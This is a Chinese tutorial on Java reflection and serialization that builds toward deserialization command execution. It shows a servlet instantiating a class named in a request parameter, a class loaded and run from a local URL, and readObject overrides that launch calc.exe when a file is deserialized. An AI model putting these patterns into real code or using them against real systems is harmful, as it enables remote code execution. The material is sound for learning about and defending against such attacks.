欢迎大家来到IT世界,在知识的湖畔探索吧!
Java反射
为了了解反射,先从正向来讲解下java的类与对象,一般情况下,我们先定一个一个类,然后实例化一个对象,通过调用对象的方法进行执行,例如:
Person xiaoming = new person()
xiaoming.setage(20)
欢迎大家来到IT世界,在知识的湖畔探索吧!
定义一个叫小明的对象,该对象属于Person类,并且调用setage方法,给他设置年龄大小为20
若是一开始我们不知道我们要初始化的类对象是啥,自然无法使用new来创建一个对象使用,这时候怎么办呢?
欢迎大家来到IT世界,在知识的湖畔探索吧!Class clz = Class.forName("com.xxxx.xxxx.Person");
Method method = clz.getMethod("setage", int.class);
Constructor constructor = clz.getConstructor();
Object object = constructor.newInstance();
method.invoke(object, 20);
两段代码是一样的结果,都是执行一个设置年龄为20的动作,只是第一个我知道确认的类是Person,第二段代码是运行时传入的类。
总结下:
- 在运行时加载,探知和使用编译期间完全未知的类。
- 程序在运行状态中,可以动态加载一个只有名称的类,对于任意一个已经加载的类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能调用他的任意一个方法和属性。
- 加载完类之后,在堆内存中会产生一个Class类型的对象(一个类只有一个Class对象),这个对象包含了完整的类的结构信息,而且这个Class对象就像一面镜子,透过这个镜子看到类的结构,所以被称之为:反射。
- 每个类被加载进入内存之后,系统就会为该类生成一个对应的java.lang.Class对象,通过该Class对象就可以访问到JVM中的这个类。
Java反射对象的获取方法
- 实例对象的getClass()方法;
- 类的.class(最安全/性能最好)属性;
- 运用Class.forName(String className)动态加载类,className需要是类的全限定名(最常用)。
注意,有一点很有趣,使用功能”.class”来创建Class对象的引用时,不会自动初始化该Class对象,使用forName()会自动初始化该Class对象。
通过反射调用函数
通过Class.forName调用函数
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class Main {
public static void testClass(HttpServletRequest request) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
//获取要反射调用ClassName的名称
String sClass = request.getParameter("ClassName");
//对class进行实例化
Object object = Class.forName(sClass).newInstance();
}
public static RuntimeDemo testClass(String s) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
RuntimeDemo object = (RuntimeDemo)Class.forName(s).newInstance();
return object;
}
}
通过classloader调用函数
欢迎大家来到IT世界,在知识的湖畔探索吧!import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class testClassLoader {
public static void main(String[] args ) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
//远程加载要反射的class地址
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8000/RuntimeDemo.class")});
//要反射调用的类名
Class<?> loadClass= urlClassLoader.loadClass("RuntimeDemo");
//实例化类
Object object = loadClass.getConstructor().newInstance();
//调用类里面的方法
loadClass.getMethod("openCalculator").invoke(object);
}
}
弹个计算器
若是可以控制访问远端的地址后,则可通过反射调用来执行系统命令,上面classloader代码就是一个Demo
RuntimeDemo.class是由RuntimeDemo.java编译而来的,也就是远端加载了class内容,加载到JVM中,classloader就可以在jvm中使用相应的方法。
RuntimeDemo.java代码如下:
import java.io.IOException;
public class RuntimeDemo {
public void openCalculator() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
}
Java序列化
基本概念
序列化与反序列化
- Serialization(序列化)是指把Java对象保存为二进制字节码的过程;
- 反序列化(deserialization)是把二进制码重新转换成Java对象的过程;
什么情况下需要反序列化
- 当你想把的内存中的对象保存到一个文件中或者数据库中时候;
- 当你想用套接字在网络上传送对象的时候;
- 当你想通过RMI传输对象的时候;
- 总之,序列化的用途就是传递和存储。
实现序列化
- 将需要序列化的类实现Serializable接口就可以了,Serializable接口中没有任何方法,可以理解为一个标记,即表明这个类可以被序列化。
- 序列化与反序列化都可以理解为“写”和“读”操作,通过如下这两个方法可以将对象实例进行“序列化”与“反序列化”操作。
//写入对象内容
private void writeObject(java.io.ObjectOutputStream out)
//读取对象内容
private void readObject(java.io.ObjectInputStream in)
简单实例
反序列化代码实例
package Step1;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class deserTest implements Serializable {
/**
* 创建一个简单的可被序列化的类,它的实例化后的对象就是可以被序列化的。
*/
private static final long serialVersionUID = 1L;
private int n;
public deserTest(int n){ //构造函数,初始化时执行
this.n=n;
}
public static void main(String[] args) {
deserTest x = new deserTest(5);//实例一个对象
operation.ser(x);//序列化
operation.deser();//反序列化
}
}
class operation {
public static void ser(Object obj) {
//序列化操作,写数据
try{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
//ObjectOutputStream能把Object输出成Byte流
oos.writeObject(obj);//序列化关键函数
oos.flush(); //缓冲流
oos.close(); //关闭流
} catch (FileNotFoundException e)
{
e.printStackTrace();
} catch (IOException e)
{
e.printStackTrace();
}
}
public static void deser() {
//反序列化操作,读取数据
try {
File file = new File("object.obj");
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file));
Object x = ois.readObject();//反序列化的关键函数
System.out.print(x);
ois.close();
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
弹个计算器
自定义序列化和反序列化过程,就是重写writeObject和readObject方法。对以上代码进行改造,加入readObject方法的重写,再重写函数中加入自己的代码逻辑。
package Step1;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class deserTest2 implements Serializable {
/**
* 创建一个简单的可被序列化的类,它的实例化后的对象就是可以被序列化的。
* 然后重写readObject方法,实现弹计算器。
*/
private static final long serialVersionUID = 1L;
private int n;
public deserTest2(int n){ //构造函数,初始化时执行
this.n=n;
}
//重写readObject方法,加入了弹计算器的执行代码的内容
private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
in.defaultReadObject();//调用原始的readOject方法
Runtime.getRuntime().exec("calc.exe");
System.out.println("test");
}
public static void main(String[] args) {
//deserTest2 x = new deserTest2(5);//实例一个对象
//operation2.ser(x);//序列化
operation2.deser();//反序列化
}
}
class operation2 {
public static void ser(Object obj) {
//序列化操作,写数据
try{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
//ObjectOutputStream能把Object输出成Byte流
oos.writeObject(obj);//序列化关键函数
oos.flush(); //缓冲流
oos.close(); //关闭流
} catch (FileNotFoundException e)
{
e.printStackTrace();
} catch (IOException e)
{
e.printStackTrace();
}
}
public static void deser() {
//反序列化操作,读取数据
try {
File file = new File("object.obj");
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file));
Object x = ois.readObject();//反序列化的关键函数
System.out.print(x);
ois.close();
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
命令执行
反射+序列化命令执行
package Step2;
import java.lang.reflect.Method;
public class reflectionTest {
public static void main(String[] args){
Method[] methods = test.class.getMethods();
//获取类的方法二,有点类似python的getattr()。java中每个类型都有class 属性
//通过类的class属性获取对应的Class类的对象,通过这个Class类的对象获取test类中的方法集合
/* String name = test.class.getName();
* int modifiers = test.class.getModifiers();
* .....还有很多方法
* 也就是说,对于一个任意的可以访问到的类,我们都能够通过以上这些方法来知道它的所有的方法和属性;
* 知道了它的方法和属性,就可以调用这些方法和属性。
*/
//调用test类中的方法
for(Method method : methods){
if(method.getName().equals("int2string")) {
System.out.println("method = " + method.getName());
Class[] parameterTypes = method.getParameterTypes();//获取方法的参数
Class returnType = method.getReturnType();//获取方法的返回类型
try {
//method.invoke(test.class.newInstance(), 666);
Object x = method.invoke(new test(1), 666);
System.out.println(x);
// new关键字能调用任何构造方法。newInstance()只能调用无参构造方法。
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
try {
Method method = test.class.getMethod("int2string", Integer.class);
Object x = method.invoke(new test(2), 666);//第一个参数是类的对象。第二参数是函数的参数
System.out.println(x);
} catch (Exception e) {
e.printStackTrace();
}
}
}
class test{
private Integer n;
public test(Integer n){ //构造函数,初始化时执行
this.n = n;
}
public String int2string(Integer n) {
System.out.println("here");
return Integer.toString(n);
}
}
弹个计算器
Step1中,我们通过重写readObject方法,直接在里面使用Runtime.getRuntime().exec(“calc.exe”)来执行代码。现在需要改造一下,使用反弹方法来实现,成功调试的代码如下:
package Step2;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Method;
/*
* 有了反射方法的基础,再结合step1,实现一个基于反射方法的弹计算器。
*/
public class reflectionTest2 implements Serializable{
private Integer n;
public reflectionTest2(Integer n){ //构造函数,初始化时执行
this.n = n;
}
public String int2string(Integer n) {
System.out.println("here");
return Integer.toString(n);
}
private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
in.defaultReadObject();//调用原始的readOject方法
try {//通过反射方法执行命令;
Method method= java.lang.Runtime.class.getMethod("exec", String.class); Object result = method.invoke(Runtime.getRuntime(), "calc.exe");
}
catch(Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args){
//reflectionTest2 x= new reflectionTest2(2);
//operation.ser(x);
operation.deser();
}
}
class operation {
public static void ser(Object obj) {
//序列化操作,写数据
try{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));//ObjectOutputStream能把Object输出成Byte流
oos.writeObject(obj);//序列化关键函数
oos.flush(); //缓冲流
oos.close(); //关闭流
} catch (FileNotFoundException e)
{
e.printStackTrace();
} catch (IOException e)
{
e.printStackTrace();
}
}
public static void deser() {
//反序列化操作,读取数据
try {
File file = new File("object.obj");
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file));
Object x = ois.readObject();//反序列化的关键函数
System.out.print(x);
ois.close();
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://itzsg.com/17701.html